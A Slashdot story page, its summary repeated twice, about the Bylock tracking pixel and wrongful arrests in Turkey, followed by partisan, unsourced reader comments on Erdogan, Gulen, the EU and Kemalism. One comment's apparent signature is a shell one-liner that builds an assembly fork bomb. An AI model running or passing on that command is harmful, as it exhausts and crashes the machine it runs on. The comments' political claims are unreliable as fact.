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A Single Line of Computer Code Put Thousands of Innocent Turks in Jail (www.cbc.ca)
Long-time Slashdot reader kbahey writes:
Can a single pixel cost you your livelihood and/or freedom? Apparently, this has already happened in Turkey to thousands of people and their relatives. It all stems from the purge by president Edrogan following a failed coupe. The result is that many innocent people lost their jobs (and source of income), their freedom, their reputation, and more.
The details are frightening. The underlying technology is the use of 1x1 transparent pixels, as most web sites do, to track their visitors. This particular pixel was used by Bylock, a messaging app that the Turkish government deemed seditious, in their purge against Fethullah Gulen loyalists. Pre-dawn raids by police were conducted on those who have this pixel. The long legal proceedings caused a digital forensic expert to challenge those cases, because [the pixel using] the servers for Bylock was also being used by other applications for music streaming, and prayer times/direction of Mecca.
30,000 innocent people may have been swept up among the 150,000 Turks detained, arrested or forced from their jobs under state of emergency decrees since the summer of 2016. One 29-year-old high school teacher "wished the worst" for the revolutionaries accused of using Bylock, "until authorities said he was one of them."
The government eventually exonerated 11,480 of the wrongly accused, but some had already spent months in prison, and reportedly some even committed suicide.
The details are frightening. The underlying technology is the use of 1x1 transparent pixels, as most web sites do, to track their visitors. This particular pixel was used by Bylock, a messaging app that the Turkish government deemed seditious, in their purge against Fethullah Gulen loyalists. Pre-dawn raids by police were conducted on those who have this pixel. The long legal proceedings caused a digital forensic expert to challenge those cases, because [the pixel using] the servers for Bylock was also being used by other applications for music streaming, and prayer times/direction of Mecca.
30,000 innocent people may have been swept up among the 150,000 Turks detained, arrested or forced from their jobs under state of emergency decrees since the summer of 2016. One 29-year-old high school teacher "wished the worst" for the revolutionaries accused of using Bylock, "until authorities said he was one of them."
The government eventually exonerated 11,480 of the wrongly accused, but some had already spent months in prison, and reportedly some even committed suicide.
Is it really a stretch to say that there are 120,000 Fethullah Gulen loyalists in Turkey? Gulenists in Turkey are millions strong. Here's a good writeup of the man and what he believes. Among other things, he ran off and America gave him shelter. CIA officers vouched for his green card (ouch!). He believes in segregating women. He's huge in the charter schools movement. His charter schools replaced qualified American workers with H1Bs and then paid them more than the Americans got. By befriending Gulen and giving him shelter, we infuriate Muslims in Turkey who hate terrorism but nonetheless loathe Gulen as a power-hungry opportunist. Is it any wonder why Turkey fears him? Let's not pretend he's the good guy here because the US government backs him - in fact, that's a pretty good indication that he's on the wrong side.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
The dumbest thing about it is that the EU cheered on Erdogan's attempt to curtail the power of the military because of 'freedom and democracy'.
http://www.washingtoninstitute...
On August 8, 2003, the seventh European Union (EU) reform package went into effect in Turkey, significantly curbing the role of the military in politics. This legislation, passed by the Justice and Development Party (AKP) government on August 4, follows six previous packages adopted since February 2002. Collectively, these reform measures have vastly liberalized the country's political system, facilitating Kurdish broadcasting and education, abolishing the death penalty, and subjecting Turkish courts to the European Court of Human Rights. Turkey now has laws guaranteeing freedom of speech, and the military is no longer the kingmaker in Ankara. As a result, AKP -- a self-styled "conservative democratic" party with an identifiable "Islamist pedigree" -- anticipates that Turkey will pass muster when Brussels reviews its candidacy for EU membership in June 2004. Ankara hopes that the EU will establish an accession calendar, opening the way for Turkey's eventual entry into the union, perhaps within the next decade. These developments are crucial to Turkey's future. Which path will the country take now that the military is stripped of its role as a decision making body? Will the EU open its doors to Turkey?
Of course the EU turned down Turkey's membership.
Then the coup happened and the EU condemned it
http://www.bbc.com/news/world-...
Erdogan used the excuse of the coup for a full on crackdown of critics of his regime, and even convinced EU countries to arrest EU citizens
https://www.yahoo.com/news/ger...
And then threatened to unleash a wave of refugees on the EU unless Turks get free movement
http://nationalpost.com/news/w...
And big pile of cash.
https://www.independent.co.uk/...
The basic problem is that the EU and the West push freedom and democracy and do things like push Turkey to curb the power of the military. But the government curbing the military in Turkey won't lead to a democratic government in charge because Turkey is fundamentally different from EU countries. Traditionally the main counter balance to Islamism has been the military having a coup every few years.
The EU have removed what was essentially an authoritarian check on the political aspirations of the Islamists and not replaced it with a more democratically correct one.
And of course the EU screwed Turkey - it forced a bunch of reforms on Turkey as part of the price of EU membership. Turkey made the reforms and then the EU welched on the membership. And Turkey knows the EU is dependent on it to stop another wave of refugees
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
There is more to the story.
There was this man named Mustapha Kemal. He was a war hero in WW-I for resisting the British and allied forces at Gallipoli. This fight was a disaster for the British side but it was a proud moment on the Turkish side.
This man rose to becoming the leader of Turkey, and he embarked upon a system of reforms. Whereas he became famous for fighting the British, there is a sense that he believed that Turkey was fighting on the wrong side in WW-I, or maybe he thought Turkey's resisting the British at Gallipoli was a close thing, so he wanted Turkey to become more like the British or at least to be Westernized.
He issued an executive order that writing the Turkish language change over from Arabic script to the Roman alphabet. He ordered that men and women wear Western style clothing and banned the male (fez) and female (head scarves) clothing associated with devotion to the Islamic religion. He renamed himself to Kemal Ataturk, the name meaning "Father of the Turks" as in founder of the modern secularist Turkey.
He also set up this system of where the military would be the protector of his new secular Turkish-nationalist order. The arrangement was that the military was to stay out of politics, but were a leader to threaten to overturn the New Secularist Order, they were pledged to overthrow that government, restore the secularist system, and then return the government to civilian control. I am told that Turkey went through several cycles of this prior to Mr. Erdogan.
This last but failed coup attempt was the last vestige of the Kemalist system. Mr. Erdogan's repression of this was a Caesar Crossing the Rubicon moment, the fictional Galactic Emperor closing down the Senate.
With Kaddafi and Saddam gone, the last holdouts of a multi-cul secularist society in the Arab world are Sisi in Egypt and Assad in Syria and maybe, maybe, bin Salman in Saudi is moving in that direction. bin Salman will never support Assad because of his Iranian ties, and bin Salman's grand strategy is to pitch the Palestinians over the side to make peace with Israel to oppose Iranian power.
My crazy brand strategy is that we should join forces with Russia and Assad and overthrow Erdogan. The man is really that bad to want to do this. My connection to that part of the world casts my sympathies with Kemalism, and Erdogan is the point-of-no-return for Turkey.
I for one never believed that the coup failed.
I suspect that Erdogan had it planned all along and his coup worked as planned.
The real "Libtards" are the Libertarians!
He isn't the good guy. Erdogan and Gulen are like Hitler and Thälmann. Both threats to democracy, but one of them is now in power.
Don't make the mistake and oust the one to let the other one take power. They both have to go if you want a democratic rule.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.